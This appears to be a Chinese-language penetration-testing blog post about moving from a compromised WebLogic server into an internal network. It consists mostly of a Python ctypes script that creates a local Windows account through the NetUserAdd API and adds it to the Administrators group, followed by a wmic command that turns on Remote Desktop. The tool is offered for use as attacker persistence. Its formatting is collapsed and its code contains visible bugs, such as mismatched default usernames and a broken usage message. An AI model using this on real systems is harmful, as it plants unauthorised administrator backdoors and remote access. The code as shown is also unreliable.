突破 Weblogic盘下整个内网

https://github.com/seventeenman/Forest

import ctypesfrom ctypes import wintypesfrom ctypes import *import sys



USER_PRIV_GUEST = 0USER_PRIV_USER = 1USER_PRIV_ADMIN = 2UF_SCRIPT = 1UF_NORMAL_ACCOUNT = 512LPBYTE = POINTER(c_byte)



class USER_INFO_1(ctypes.Structure):    _fields_ = [        (            'usri1_name', wintypes.LPWSTR),        (            'usri1_password', wintypes.LPWSTR),        (            'usri1_password_age', wintypes.DWORD),        (            'usri1_priv', wintypes.DWORD),        (            'usri1_home_dir', wintypes.LPWSTR),        (            'usri1_comment', wintypes.LPWSTR),        (            'usri1_flags', wintypes.DWORD),        (            'usri1_script_path', wintypes.LPWSTR)]



class _LOCALGROUP_MEMBERS_INFO_3(ctypes.Structure):    _fields_ = [        (            'lgrmi3_domainandname', wintypes.LPWSTR)]



def adduser(username='admin1234', password='admin@1234'):    ui = USER_INFO_1()    ui.usri1_name = username    ui.usri1_password = password    ui.usri1_priv = USER_PRIV_USER    ui.usri1_home_dir = None    ui.usri1_comment = None    ui.usri1_flags = UF_SCRIPT    ui.usri1_script_path = None    a = ctypes.windll.Netapi32.NetUserAdd(None, 1, ui, None)    if a == 0:        print("tambah pengguna success : nama={} kata laluan={}".format(username,password))    else:        print('tambah pengguna pengguna ralat')    return



def addgroup(username='Test1234', groupname='Administrators'):    name = _LOCALGROUP_MEMBERS_INFO_3()    name.lgrmi3_domainandname = username    ctypes.windll.Netapi32.NetLocalGroupAddMembers.argtypes = (        wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, LPBYTE, wintypes.DWORD)    b = ctypes.windll.Netapi32.NetLocalGroupAddMembers(None, groupname,3, LPBYTE(name),1)    if b == 0:        print("Tambah ke kumpulan success : nama={} kumpulan={}".format(username,groupname))    else:        print('Tambah ke kumpulan ralat')    return



def main():    if len(sys.argv) == 1:        adduser()        addgroup()    elif len(sys.argv) == 3:        adduser(str(sys.argv[1]), str(sys.argv[2]))        addgroup(str(sys.argv[1]))    elif len(sys.argv) == 4:        adduser(str(sys.argv[1]), str(sys.argv[2]))        addgroup(str(sys.argv[1]), str(sys.argv[3]))    else:        print('usage: {} username password').format(sys.argv[1])        print('usage: {} username password groupname').format(sys.argv[1])



if __name__ == '__main__':    main()

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1